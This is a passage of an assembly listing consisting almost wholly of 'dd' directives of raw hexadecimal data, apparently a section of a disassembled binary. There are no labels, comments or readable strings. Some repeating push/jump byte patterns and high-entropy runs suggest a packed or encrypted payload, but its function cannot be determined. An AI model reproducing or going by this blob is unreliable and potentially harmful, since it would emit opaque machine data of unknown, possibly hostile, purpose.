7F0BA32Dh, 0F0C3941Dh, 925C8Ah, 0C74B8695h dd 30916583h, 50BD844Ah, 0EB3B99C6h, 12C0FB69h, 7B4CB6D2h dd 27C1393Ah, 0EEC0928h, 0A04831D8h, 1A6F9E4Ch, 0F45865BAh dd 46A7BC90h, 0AEBC003Dh, 0EC1A257Fh, 0DD22CCD0h, 1F381CE0h dd 0E0B1391Bh, 3923071Ah, 700054B5h, 66E1D944h, 8C6DF04Ah dd 17CE8181h, 75000008h, 0DCC92A21h, 8A7BF8C9h, 7491427Fh dd 23CC172Eh, 0C67DE6D9h, 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah dd 3D46A7h, 0AAC22ED3h, 0C584E7DEh, 0DE7AE251h, 0A514F8D5h dd 48F76550h, 0F819AEB3h, 79D17F40h, 0E308859Fh, 24F16096h dd 9E0F2EABh, 2DFECDE6h, 6C40A456h, 2E405F7h, 7CD3241h dd 2B000000h, 1E6C8h, 21A75000h, 1DC3941Dh, 0E476E47Fh dd 941D0440h, 99B78BC3h, 0B33B45D7h, 0C3941DD7h, 6E29B958h dd 0F83781B3h, 0AADE5684h, 3DC39430h, 0E75B2BC5h, 78BD8467h dd 0D82DD802h, 0A81C2D78h, 2E37054h, 3870C4F1h, 990DDF64h dd 44702D68h, 28529DE5h, 0DB8C6DCDh, 758A86Fh, 62B40000h dd 81F886Bh, 0BECD3A39h, 6FB75083h, 1E628350h, 5E853C27h dd 995A65BFh, 0C92A176Ch, 66FDC8DCh, 92417C89h, 1F6B8369h dd 90C584E6h, 0D5DEBB21h, 50A514F8h, 1D6F1B93h, 0AAEEC394h dd 0F2D62CABh, 536EBD68h, 69E35DB5h, 0BECB6BBCh, 2781AF83h dd 193441A6h, 0F10F3EDAh, 103A3240h, 0C2000000h, 126C8h dd 93B72400h, 0CAA519FDh, 0BDC43AD4h, 0D8764B50h, 941D7B0Ch dd 122973C3h, 0F001BEC8h, 0D73FAC67h, 4FEC7896h, 20BD8467h dd 178610DAh, 0D413504h, 0B9196AE3h, 86B1C761h, 1195A2h dd 0F9AB82D3h, 64B15E85h, 0F785E569h, 9776FE6Ch, 1844708Ah dd 735762B7h, 6D6AF8F4h, 4C03078Ch, 692h, 0B6ADA4EEh, 0E0734E59h dd 1EC5F407h, 49AAA9F1h, 0FA79445Ch, 0A3F9145Bh, 51A6479Ch dd 0E16F76Ch, 0B6C32C37h, 0B9B3589Bh, 84E15135h, 0F167D6C5h dd 14F8D5DEh, 0F5C4D7C6h, 4FA1F25Bh, 1B026CAAh, 829B62ABh dd 93F7CBBFh, 6DFF712Fh, 94878DF9h, 513802C3h, 0C4DE0847h dd 0FAD720C9h, 467D8570h, 1CCDCFA8h, 2232418Bh, 2397AAF3h dd 7B841EFh, 44000000h, 4EC8h, 0D5DE5000h, 50A514F8h, 0B3B19165h dd 1DF98D21h, 8B23C394h, 0C3941DFFh, 438D0A70h, 941D5F2Bh dd 0F6EAD0C3h, 0A64F5E58h, 0BFA605Dh, 71485BF1h, 0E155498Dh dd 0FECBDCADh, 46609750h, 0FC000000h, 48110911h, 51636400h dd 0A4F746BAh, 0DE857B95h, 0C614F8D5h, 0A024F499h, 4B916052h dd 94ADA723h, 34D228C3h, 94AD21A0h, 3CC913C3h, 1D62C2D7h dd 4785C20h, 415944D6h, 0BA4A8E72h, 0C394ADCEh, 14CF7941h dd 4B50BDECh, 2075D876h, 3349A115h, 1D3256DEh, 4DB5C394h dd 0C06B8369h, 0D4BD844Ah, 58E7DA29h, 7555368Fh, 0C542ECE3h dd 75BE6FFDh, 9AD73A83h, 3428C6E9h, 98B5FE2Fh, 93A8F434h dd 0E90B2549h, 0A731446Bh, 4AAC7B0Fh, 58F6CC30h, 0A85587FBh dd 7410945Fh, 0FB304AACh, 57B0A387h, 6B837742h, 4CE00A11h dd 4E41AB51h, 3D041A8Bh, 4FE77549h, 2E47B13Bh, 0BB98B68Ch dd 540E8847h, 0C54D927Eh, 51102h, 2C1B6F00h, 0F2CFD637h dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h dd 9770E3DEh, 40ADB681h, 30D91A37h, 0E0D0B438h, 0E857C584h dd 0ED5DE70h, 941DE2E6h, 391D65C3h, 881CAE3Ah, 0C3941DFCh dd 6CE10F73h, 0F35A2E1Bh, 1A41ABA6h, 48CF95E5h, 8189A7B3h dd 9FDC0D8h, 947851A0h, 1CE0DF25h, 0D5D0CA38h, 26266662h dd 9CF00369h, 3CE5E022h, 0FB05DEEBh, 32413B52h, 6F7Fh dd 0D6F9900h, 0D740E476h, 58BD9EE1h, 0B94AA0F7h, 0BA2A03C8h dd 0F3795DB1h, 18DBF202h, 7CF0028Ch, 3A608B08h, 0DFABBB9Fh dd 503A608Bh, 5A28BC6Ah, 0B83A608Bh, 8408374Dh, 97AAF940h dd 6D839479h, 1B509E5Ch, 8D564A5Ah, 0BDCF1460h, 60E95D29h dd 18E8D23Ah, 3A60E96Ch, 0B1BB9FE3h, 29AC9B0Ah, 3BD55D86h dd 42870D7h, 1EC0000h, 352BC5F8h, 0E4760D6Fh, 63D7EA39h dd 0C76F012Fh, 0BD9F1AC2h, 228B7F43h, 3010E4D1h, 0E9B3EBFAh dd 21648852h, 26446BE1h, 455707DCh, 10A22C3Eh, 7DE8E89Ch dd 0ED1B7F30h, 76EF2C19h, 75D9214Eh, 9B417C84h, 0BC8D9C09h dd 87CF4C8h, 9F2E4AF2h, 66EAE72Eh, 287FCE22h, 0FE1BEF19h dd 5A758372h, 327492F6h, 6CA1FBB3h, 4AF28CF8h, 0A5C9032Eh dd 2E4AF221h, 4785CA6h, 0F56B5ED6h, 86FC5041h, 0D222D35Dh dd 0F7ED990Dh, 18622447h, 0D27C5024h, 0AF132E7Bh, 5298B5FEh dd 0F4C3D5C0h, 4004CC00h, 0C72447F7h, 0C49255F3h, 0B5D155B8h dd 3A2447F7h, 0EC7EECC0h, 47F70C78h, 91BF8324h, 0ABC34DDFh dd 2447F7DFh, 9064595Eh, 51FFC3BCh, 4CF33885h, 46EE0D5Ah dd 0DB0E7E0Bh, 2F3795Dh, 0A4951F1h, 9A6E4286h, 0A08088A6h dd 225C3620h, 44F867F5h, 26A49034h, 7A8B2DDBh, 8F36786h dd 714214h, 0BDAA0000h, 80744550h, 0AE4CB34Ch, 93EE7C68h dd 0C8532975h, 0EE069022h, 0C394439Ah, 6BFB156Dh, 0BD9F5BCAh dd 61EB5FA3h, 0BCC26EB4h, 22DDA185h, 0A76BFF31h, 3CEACE5Bh dd 61D0D8A8h, 0E741593Ah, 0FB4FA39Eh, 43370E12h, 0E29C2903h dd 0A058554Fh, 2C36BD89h, 6E8408B7h, 0E2FD891Dh, 8723A61h dd 0F52696CFh, 3EBBCF67h, 360C3A61h, 0CD4118h, 0DEAF0000h dd 8372F8D5h, 91F55970h, 0D62A9377h, 61B21BEFh, 0EC39E054h dd 98012C0Ah, 48AC0A6Dh, 3D7A03ABh, 0A8FDC394h, 5CA9469Dh dd 0FF9D9D61h, 977EF664h, 5BD9F08h, 121773FBh, 37983A61h dd 2B6FD3EEh, 6F870837h, 0AF9A400Dh, 0B2B88281h, 0B0043B43h dd 6531B25Ch, 61DE0C17h, 7DD23BFAh, 81DEC1Ch, 0DB75493Dh dd 0BF6C9D11h, 99E1446Ch, 675EA253h, 0C00913FCh, 739CD8ACh dd 0E26BAF30h, 0F8DCA09Dh, 7F4D4B84h, 80828C6Ah, 225CFh dd 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h, 0D4EB31DEh dd 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh, 1CED7643h dd 1D2C58CCh, 0D4A3C585h, 0FBDADE6Ch, 4F7A8F78h, 162B709Dh dd 6F997FF8h, 39E4760Dh, 0B933DDE0h, 9F058435h, 2D91E9BDh dd 15608D1Fh, 0F47C5024h, 3A60CB90h, 71052317h, 3A60CB11h dd 0ECA714C4h, 479CD0DCh, 28325C3h, 35EF5F8Eh, 0EAFE5D2Ch dd 501A288h, 0D713E600h, 0FD000000h, 14F8D5DEh, 1E965FA5h dd 0C3941D6Ah, 0DDA185FDh, 941B4C15h, 749AEFC3h, 8B70186Ch dd 5D86FA39h, 0E66A67B0h, 26A2CA54h, 0A93C6BD2h, 95E7B751h dd 21C85C8Eh, 0F34260E5h, 7CC0FD02h, 2911EE18h, 9E106CCAh dd 9547BB9Ah, 6D301311h, 74E6DC44h, 9F4D7089h, 73107317h dd 608EF430h, 3A051F8Eh, 89B4CC39h, 6AF3847Eh, 0E45BAF8Ch dd 132h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h dd 0D913F87Bh, 851C3155h, 51C7B6C5h, 0CFBB33BDh, 2DC3941Dh dd 941DCDB9h, 9F7842C3h, 78808DBBh, 1B669745h, 0EC7E5226h dd 941D0C78h, 91BF83C3h, 0C7E55AD6h, 9CD1CDA3h, 0B465138h dd 2A2770DDh, 50BDCBC9h, 4C807445h, 635EABA2h, 0E8E52E9Fh dd 0B6899302h, 87608EC2h, 1A3DD605h, 372D9D7Fh, 7F982259h dd 0BF581309h, 879FA63h, 0DDE10FD1h, 0EAE931BFh, 0A3C064F6h dd 2CBD8473h, 839904D6h, 5AF4C8BCh, 1CF207F6h, 816C6D38h dd 1F2A7DAFh, 1F7357ABh, 0E3DE2BC4h, 4799D71Fh, 67BD8926h dd 0E933E266h, 20F562D6h, 8F7F8422h, 8984A286h, 0F1CCD47Ch dd 0EFC3F208h, 268E9B74h, 3A1EE2DFh, 738B72C6h, 0EF2C1D9h dd 44A50DCAh, 39B9BA17h, 0CCC471C5h, 0F2CFD8C1h, 3256DE68h dd 0B565054Dh, 27C0A34Dh, 0C913E7D2h, 4D5337BFh, 0EED46505h dd 3E6F8651h, 0C563B624h, 115Eh, 0E884E600h, 68DCEB3Dh dd 311FEB14h, 34F19D6Dh, 0D4DE241Ah, 57A009FDh, 0D127967Ah dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h dd 0FA0DFC40h, 68CF7BCFh, 2E87h, 50241489h, 405E089h, 83000000h dd 48704E8h, 2C895C24h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 240C895Ch, 8904EC83h, 6EBE2434h, 890610F3h dd 8B545EF5h, 0C481240Ch, 4, 599868h, 242C8900h, 8B08418Fh dd 8950240Ch, 405E0h, 4050000h, 87000000h, 0FF5C2404h dd 815D2434h, 4C4h, 7BDDE900h, 2CD2FFFAh, 4A1CDDAFh, 0B818D99Ah dd 61102E7h, 0E0FFC503h, 651241FDh, 6CD8CBDBh, 6C55BF55h dd 1633140Ch, 33249845h, 37EA18F0h, 2CC0F5FCh, 567A18B5h dd 35BCE4DCh, 33EFB9F4h, 671571E4h, 6056B3D6h, 19D6EF14h dd 786EBC49h, 79A73E4Ah, 77E3D205h, 7BF5EEC6h, 51FFDA11h dd 2488B27Eh, 52B39A69h, 4AB6E430h, 4B610EC7h, 2DF389A7h dd 57494D83h, 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h dd 0E56CA191h, 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 66FD3C2h, 0F2E94B58h, 6800000Fh dd 6110710h, 0FB3DD8E9h, 7EA68FFh, 0CEE90611h, 68FFFB3Dh dd 6110969h, 0FB3DC4E9h, 0A2668FFh, 0BAE90611h, 68FFFB3Dh dd 6110B3Ah, 0FB3DB0E9h, 0C4968FFh, 0A6E90611h, 68FFFB3Dh dd 6110CD3h, 0FB3D9CE9h, 0D4868FFh, 92E90611h, 68FFFB3Dh dd 6110E64h, 0FB3D88E9h, 0F2368FFh, 7EE90611h, 68FFFB3Dh dd 6110FE6h, 0FB3D74E9h, 109068FFh, 6AE90611h, 68FFFB3Dh dd 6111167h, 0FB3D60E9h, 129B68FFh, 56E90611h, 68FFFB3Dh dd 611136Eh, 0FB3D4CE9h, 0A6205DFFh, 0E3DB1ED9h, 3C9AD114h dd 7A549053h, 0B4126A8Dh, 792DC2CBh, 3F3A8501h, 0FC77C0BEh dd 0B0B31C7Ah, 7EF35C3Ah, 6248D51Eh, 226F7BAEh, 5836B43Bh dd 0FBD329B2h, 7AC0260Ch, 58BFCB1Ch, 31AA4F8Ah, 0CD2DDFB7h dd 0E770FB11h, 816F9258h, 0C304804Bh, 8A25D2ACh, 0BC0DEF21h dd 4C82h, 637B9300h, 8D43A19Fh, 2586A9D9h, 0E407DC1Ah dd 528A5DEAh, 5F4F8B53h, 0E88E661h, 93125825h, 27837F6Fh dd 0D2915705h, 73888113h, 0B607D27Dh, 0AC6F9317h, 7D8724Ch dd 0B7FEDE9h, 5B3CE6D5h, 78E33685h, 2BBC0D33h, 0C1h, 5836B4CCh dd 92D129B2h, 6DCD7F57h, 5A9C57B1h, 4339D37Ch, 0FC6E6880h dd 2FA7C71Ch, 0B732DD3Dh, 0E0635D39h, 3FE30985h, 85FB7C10h dd 855EBE09h, 15E06F67h, 759D58D2h, 430C8AE0h, 0D42B4AA0h dd 8EEC1EFAh, 0B65432B5h, 0F1F5BD4Ah, 68042F09h, 6D4F8A6Dh dd 0D60822EDh, 6E21326Ch, 6D49845Ah, 5DD64E87h, 2783B9E2h dd 90EE0EC9h, 0D2ACCC27h, 5A74A410h, 8441EBE4h, 0D72h dd 804F47A4h, 3B840265h, 7AC5C138h, 0B4037BFFh, 0F25D39B1h dd 2840549Dh, 0E506E1AEh, 0A1DB1EE9h, 619F5A25h, 27519A65h dd 0AE636F3Ch, 0D205847Bh, 7A549651h, 4DF68D0h, 4B8CEAE4h dd 0BBAA5531h, 0FB4442B8h, 9F637B84h, 7436B6A1h, 0C73B4F8Ah dd 34398225h, 9D536F92h, 1770DB2Eh, 0B833BC0Eh, 0C4000000h dd 78569651h, 0F8D614CFh, 250E6C52h, 759D5D58h, 0F174837Fh dd 0C5231D79h, 45EEE802h, 759D5CB8h, 38D463DFh, 9D5934B7h dd 92EC0275h, 5D39B3B4h, 0FAD414AFh, 0E702F11Eh, 0B00E6A89h dd 6A4836D4h, 9D5834F9h, 50FF4375h, 40BE845Ah, 8A6DFB97h dd 0B502FE4Fh, 0A781697Dh, 845DF4BCh, 0D7310949h, 15E2DC1Ch dd 225B9AD2h, 940AC8A4h, 8BE45AD2h, 0C9824E1h, 215E0000h dd 0DC1FDAA5h, 9BD215E2h, 55915423h, 136B8E79h, 2EC3CCBBh dd 3B84027Ah, 78C7BF38h, 0B4037BFDh, 0F4433BB1h, 49D6017Fh dd 6E7BAE64h, 34B43C23h, 5C820FD8h, 0A991759Dh, 89E702CDh dd 0B45B420Dh, 7E5836h, 9D5D4AD7h, 75F66975h, 530FF319h dd 1957E8A4h, 5C67343Fh, 8C8C759Dh, 0FA7DF6D0h, 0AE0A84FBh dd 6678B2A1h, 89321CF6h, 0EC50B183h, 681DE96Fh, 4EA804E0h dd 8AFF2DE5h, 228104Fh, 930020A9h, 47B24A6Fh, 0EAE404DFh dd 4BE9525Dh, 74BABC0Dh, 42000000h, 0B2EF364h, 0FA7C6F93h dd 75827E9Ch, 9F637B0Eh, 7056B6A1h, 655B4F8Ah, 924F2DF2h dd 1AF64A6Fh, 0C6C03B3Ch, 8BDC9739h, 256F9250h, 4AA8DC2Fh dd 924F1499h, 9559176Fh, 39AF8A0Ah, 9D103F03h, 0BC0E8536h dd 2AE9h, 637B8E00h, 5EB6A19Fh, 434F8A7Eh, 519A4DFFh, 7B6F923Eh dd 0B0EE16E5h, 923CDAA7h, 0F601F96Fh, 0E0E50BBh, 7D3BCh dd 0CEE40000h, 89Bh, 0F8637BD7h, 48A6027Ch, 8C580C9Fh dd 211FE34Fh, 862E5C3h, 57D8A58Eh, 3FF6F8Ch, 576D3225h dd 0B68A6F8Ch, 3690EE89h, 1150AE49h, 0EB01FDD9h, 85E3479Fh dd 7B551A52h, 0CD2B1749h, 0D9A6B1EFh, 0FE697B53h, 62880665h dd 0E901C2BEh, 698762EDh, 2947A26Dh, 0F3EBBFADh, 6206D10Fh dd 6743684Eh, 271599Bh, 0E486EA6Fh, 0B1929h, 26A0DD00h dd 635B9E59h, 0BC1A5194h, 0FAD410D3h, 3492EA0Dh, 0F9AD424Bh dd 0BFBA0581h, 7CF7403Eh, 30339CFAh, 0FE73DCBAh, 65C8559Eh dd 0A2EF7BAEh, 589651BBh, 0E36CCC7Eh, 9D5CC710h, 0A68C5275h dd 57FC9F48h, 0FF34F8Ch, 0E9746A40h, 271B318Dh, 0F5E76D4Bh dd 8576C64Ah, 0F16262EDh, 497B2C1Eh, 0EFE706C1h, 625CBC60h dd 14548BE1h, 0F671DEBAh, 0A4EC1E78h, 559EF842h, 436A291Dh dd 0A71F5F00h, 146AEDCBh, 0D42ACDBAh, 0E46A50FAh, 64D0220Bh dd 0A2D81B27h, 2DDA0624h, 69C00F5Ah, 6ED40AE3h, 0C6FB2730h dd 0E4C2BD56h, 5EA6AE73h, 0CA75C5DDh, 0CA282A16h, 0C17080A9h dd 0A5CEA2Bh, 5D920000h, 18539661h, 0D716D1BEh, 91D510FFh dd 4FAF4A35h, 6A878877h, 0F7403EBEh, 3483FB7Ch, 70DFB731h dd 0B01F77F5h, 850ADDBBh, 927BAE66h, 637BF81Fh, 0D3B6A19Fh dd 0D84F8C58h, 0AFCD0660h, 6F8D68D7h, 1A333917h, 0ECEA0C98h dd 27C7A15Ah, 0E26DC9C5h, 0BE845A2Eh, 7AC48A40h, 0B7099641h dd 0D22E6F8Bh, 82B9E31Ch, 35CC1775h, 12497B58h, 0F977F02Eh dd 1CD2329Dh, 0A09683C9h, 5D18274Bh, 0FD85A71Fh, 3C2701E9h dd 4369DBACh, 845FB981h, 91ED0F66h, 5C2B877Bh, 0C16B6399h dd 69DBDD6Eh, 58A24463h, 0D856F57Eh, 0FD5D3D58h, 4CA2A583h dd 0CC22C572h, 58B694F2h, 58D7028Fh, 3A29115Dh, 5D58D675h dd 9740BE82h, 5D58D70Ah, 3726D129h, 0A368FBD9h, 0B05D58D6h dd 57F5D12Fh, 65000FEBh, 159D8F07h, 240F69D1h, 3747D349h dd 402E64EAh, 0FF4C86B3h, 0BEACAC50h, 0D00EF4EAh, 34FA5707h dd 0C6DE631h, 97A098B2h, 7DF15E5h, 18FCA296h, 9489372h dd 718E0000h, 2C4FAA15h, 0EB02E552h, 0A5C12493h, 639B5E29h dd 7EB39C6Bh, 8B7452AAh, 0C8B70F68h, 4F3CB2Dh, 44338BE1h dd 9966F1AFh, 0BE7BAE67h, 36B48CF3h, 0D7007E58h, 759D5D4Ah dd 0AA669169h, 49E3DB11h, 5AE7D22Ah, 723F2824h, 81759D5Ch dd 60E3DDB9h, 3F9D8F07h, 9D5C6734h, 0D08C8C75h, 8EF53827h dd 11B602EDh, 1Bh, 8916C13Fh, 0AE759D68h, 513EA552h, 5D1BE073h dd 0C038759Dh, 502C637h, 0D4EF0000h, 6787405Dh, 7B91ED08h dd 961C2B87h, 0AE8CEA50h, 5D1AE770h, 0C139759Dh, 7FEDE902h dd 0DDE17483h, 0F84F8A74h, 0BDBCA700h, 4C927E83h, 1876509Ah dd 426A0DFh, 0A4582BD4h, 91767370h, 526F49C3h, 96BD0220h dd 4998A555h, 5BB511CDh, 2C25EA7Dh, 0F30B967Bh, 6E99619Bh dd 2A10D6A2h, 0AEAA1BCCh, 6F4D706Ch, 949A47D9h, 3E25A992h dd 906D4871h, 0D38DBA86h, 0B836316Fh, 78F671DEh, 70AC41Eh dd 4BE1BD72h, 8398Ah, 680FD00h, 433BBEB9h, 9CFA71F4h, 0DAB43033h dd 14728A6Dh, 998DA2ABh, 5F9A6561h, 1CD7A01Eh, 0D013FCDAh dd 9E533C9Ah, 68A875FEh, 0C2CF7BAEh, 5836B49Bh, 0F5D129B2h dd 0B2C90A0Ah, 0EBA036D4h, 59A9C84Ah, 5357E05Ch, 9E49A78Bh dd 4F8CFB15h, 7FF8D62Ah, 3F3A8501h, 8DEBC5C1h, 8CFAD55Ah dd 0C51EE26Fh, 721E29A5h, 1C7AC026h, 7BF73CCBh, 0F9D72B49h dd 3986007Eh, 24C6C03Eh, 0E1635B93h, 0E4635931h, 0AFE924C6h dd 67000007h, 20C38C0Ah, 0FB7EC9C5h, 0BABD0A84h, 7CF7403Eh dd 0D83582FCh, 93EB0317h, 2EA8C124h, 6A648661h, 0AA245A9Dh dd 0FF6814DDh, 7BAE6932h, 7B154841h, 0B6A19F63h, 4F8C58DFh dd 64293A18h, 736F8C58h, 7CDC808Fh, 0ADA7C102h, 8C57F5BAh dd 423E026Fh, 0DE1CD7B5h, 8C686687h, 0CCCA20C3h, 0AE944A5Eh dd 6FCBE770h, 72CE4979h, 5E204AF0h dd 0EA2BC1E4h, 73Ah, 0B8077FFCh, 0F35C3ABDh, 329DF970h dd 6CDBB337h, 0AA157189h, 60988CA5h, 1D5E9966h, 0D913D6A1h dd 99D712FDh, 0FF99523Dh, 0AE69A774h, 9AFDCC7Bh, 0B25836B4h dd 469906CCh, 12CA732Ah, 92EC02E5h, 8D56B4h, 17759D65h dd 33701C2Bh, 3DB3CE3Dh, 89EC6741h, 1813020Dh, 0B602E1B3h dd 0EF0660E3h, 2018328Ch, 0CD7AA644h, 0C58h, 96517D00h dd 6FD07F57h, 300h, 5836B408h, 9006CCB2h, 132C1D81h, 0B9BDA233h dd 229E8EE7h, 86499D15h, 1AC66462h, 0B219DD9h, 0CA1D7BD7h dd 4F8CE23Bh, 8C67D028h, 61FA106Eh, 0E8C28D09h, 0B6106BF6h dd 0BF6BFCDAh, 0AA497BDDh, 81FF7856h, 0DDCF5C87h, 73E4697Bh dd 0B16983FBh, 0C41F79D5h, 301F28A6h, 42B8B735h, 9E7AA644h dd 0C9142A0h, 2B697BDEh, 0E0DE1CD7h, 0CA22B557h, 0E7605ECCh dd 0F7DC6789h, 5E3FA7EFh, 679048E2h, 79579B43h, 68E06EEEh dd 9641BF43h, 6370BF09h, 5836B52Eh, 51A953FCh, 6E917393h dd 2FEE9CEAh, 61Eh, 54239BD0h, 8F785691h, 0CEB91554h, 8F7CF2Bh dd 46318DEDh, 7CFCA849h, 39B2B502h, 0F577F25Dh, 0B5CB2E99h dd 9B856ED9h, 0AE6AC348h, 0A6D9D07Bh, 0BE3F36B4h, 7EBB6DAAh dd 78D4741Dh, 49A1A29Ch, 500EC24Dh, 748A679Ah, 3324DBCFh dd 759D7D6Eh, 2ED9B585h, 8DB354Bh, 759D7D83h, 5ECCA890h dd 0BD383B59h, 7E0B9043h, 0D028759Dh, 0C635CB74h, 6F67855Eh dd 0C11977FDh, 50B9318Ah, 52A84BF4h, 3BA08B74h, 7BB602D0h dd 0EB017DF8h, 181F0837h, 21000000h, 5DCFC726h, 8864629Ah dd 0D412C746h, 0E26D60DAh, 146CEFBh, 51D70000h, 0D17E5896h dd 64FED816h, 0D841F3D2h, 5F02C369h, 97000005h, 50937C5Ah dd 2BCEB915h, 0EA0DFAD4h, 0AC47308Eh, 8885724Ch, 433BB367h dd 9EF871F4h, 0DAB43631h, 1A748A6Dh, 0FD844ADh, 7BAE6B82h dd 0B4E51891h, 0E57E5836h, 0D25F8884h, 0E1759D5Ch, 0FE92BD19h dd 0A8264780h, 36B15E82h, 772CDEB8h, 17F0AF1h, 19DA3A85h dd 2DF265DFh, 4A759D5Dh, 8AF01AF6h, 9D5CD459h, 0A31FE375h dd 0E9B21994h, 0D75B602h, 2000000h, 0B7CEh, 0B1CED700h dd 0D7000000h, 0A19F637Bh, 5D0B9043h, 481C759Dh, 0F0B01503h dd 3CCB37C5h, 7BFC8B5Ch, 17EB4F8Ch, 7339ADF5h, 8C7C1BE0h dd 3C0386Fh, 0D630ECEAh, 799AC10Dh, 0E803D449h, 283032EEh dd 2FE45DF7h, 49C40BDh, 1D520000h, 0D813D6A1h, 97D611FEh dd 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch dd 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BAE6Ch, 637B385Fh dd 38B6A19Fh, 3D4F8A30h, 960E3DDh, 0A0A39F8Dh, 78A04A44h dd 0F776F1CFh, 9525309Fh, 0A46F9210h, 0D9734BA3h, 0EAB70E3h dd 70C86F92h, 72886B94h, 3148AB14h, 2F56B755h, 7F000004h dd 0A19F637Bh, 8C57DFB6h, 0A0DF184Fh, 3AB30426h, 0A557E05Ch dd 29C3BB32h, 0A3F715F1h, 5E99F73Bh, 25A1C41Bh, 0D07FDB07h dd 76DB67F0h, 2FE4979h, 5E1A42C0h, 0C203A9E4h, 3F2h, 0CFC724h dd 0BB0482E5h, 0FA4541B8h, 3483FB7Fh, 72DDB931h, 0A8C0D41Dh dd 6586612Eh, 215B9E69h, 0E11FDAA5h, 0A7D11AE5h, 0AE6CEFBCh dd 5285047Bh, 1629B51h, 15527069h, 0D41EC0EAh, 0B5BE9CFAh dd 759E14E8h, 7104330Fh, 4F8D0FA6h, 7C5A9E59h, 3BE512CEh dd 106EE9C7h, 0D02EC9B6h, 0C65298F6h, 6DEE17CAh, 0DCA46897h dd 0C6200Ah, 5962C355h, 81FF08E0h, 0D9245A3h, 0F66F8C91h dd 8C90A06Dh, 0B14BB76Fh, 0B32BBE49h, 0BE497B8Dh, 8DE36442h dd 4DA34631h, 8C9B60F3h, 40B8697Bh, 0DF1846E4h, 0D60A209Eh dd 0F25D8129h, 47A11D79h, 0FE6C6A8Ch, 8CCA5780h, 11E9697Bh dd 2C0A8AB5h, 0CCECFF26h, 19269F9Fh, 68BBAA4Eh, 8143BF43h dd 0EA6E948Dh, 1B8D48E2h, 0D3000003h, 9C57209Eh, 57927D59h dd 16D1BE18h, 0E80BF4D2h, 44493690h, 77FFFABh, 423CBDB8h dd 9EF872F5h, 0DEB83631h, 4B9CF871h, 7BAE6DC6h, 0B4B9DCEDh dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D2306E68h, 9D5C7C01h dd 98A79B75h, 0F25D81A9h, 0A4C41F77h, 7CD8002Ah, 58C5D102h dd 58A04F8Ah, 58B039B2h, 47A66F92h, 0E41ADD4Fh, 5832FF68h dd 0F9416F92h, 0B088EF1Dh, 60F85F49h, 0EEDB4099h, 18DBBC0Dh dd 136888DCh, 4F7EB675h, 76817993h, 2581h, 30B48F00h, 7B32A956h dd 0B6A19F63h, 4F8A7436h, 8225C73Bh, 6F923439h, 0DB2E9D53h dd 0BC0E1770h, 0CB33h, 36B4C400h, 0D129B258h, 6E8C57F5h dd 69303610h, 0F2C876B8h, 9EFC90BFh, 34EAB7A0h, 3109759Eh dd 0B10D6306h, 0C81B7957h, 759E3543h, 0B67BE850h, 0E4759E34h dd 0AF60482h, 34763B2Ch, 0BD9D759Eh, 1550A392h, 23759E31h dd 0E306F1CDh, 8F1B318Dh, 0A2B59357h, 4F8B3E72h, 1876F46Fh dd 0E5520EF2h, 0F7D119CDh, 85495C6Ch, 0EFC93149h, 0CDBA1454h dd 7EF4D22Ah, 0E459E800h, 0E7987517h, 2F000001h, 0E80BF4D2h dd 0A346318Dh, 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh dd 1670896Ch, 522C4EA9h, 92EC02E5h, 8750CC25h, 7BAE6EFAh dd 516D9019h, 5D1BE073h, 0C038759Dh, 423CBC37h, 0AEB997F5h dd 759D5CE1h, 7AFD0AF6h, 0C63D8A04h, 0A19F637Bh, 8A7436B6h dd 0A6CE74Fh, 5B378FEBh, 0E208F0ACh, 92340049h, 6752AA6Fh dd 0E17A912h, 0A57ABCh, 0B41B0000h, 29B25836h, 9C57F5D1h dd 759D5959h, 0CAB5116Fh, 116BECCAh, 57E1AEB5h, 0AF6759Dh dd 8A047AFDh, 64CE1060h, 66E9D90Ah, 64D44F8Ah, 694F979Bh dd 0A5B216E3h, 392A607Bh, 6F91F174h, 40A4BF83h, 5B8CEA46h dd 498421F0h, 0C20563DFh, 80632CAAh, 74D46E68h, 0ABE45B0Eh dd 114C401h, 0A5DA0000h, 609B5E29h, 1F5E9966h, 0D91DD8A7h dd 97D712FDh, 0B27F503Fh, 0BF0886E6h, 0FC4B43A4h, 3887FF79h dd 78C7BF3Dh, 0CD5285F3h, 0EA7BAE6Fh, 34B4B0A7h, 81FB7C5Ah dd 0C3BE705h, 4DA4DA1Dh, 43BFAD29h, 0B42118E7h, 0CCB25836h dd 5CB845EEh, 63DF759Dh, 0E3DB11D4h, 0AF274285h, 6579B1A0h dd 0ADB0A39Dh, 0B24F8C57h, 0E51BDC4Eh, 86518FE9h, 6F8C57F9h dd 13C4221Eh, 6F8C578Eh, 0BBAA55A5h, 292E42B8h, 0E8E60769h dd 25147E66h, 0B008A349h, 8400B269h, 0EDE90D64h, 29401B31h dd 785696ADh, 7B4EE4D2h, 4953D80Bh, 98602242h, 0A316C83Ch dd 5D34ED63h, 836CE2BBh, 37BF174h, 433BB1B4h, 5295F3A9h dd 528EBC1Ah, 4206FC81h, 18271B22h, 43BD195Dh, 0C3696580h dd 765CF01Fh, 27809F0h, 0F4A4AA84h, 69362185h, 8E2241E7h dd 0E1A0BCB2h, 2EC938C7h, 5298F6D0h, 2CA74B36h, 0E6AA552Bh dd 1127h, 9B51C000h, 5ABF4EACh, 95F17432h, 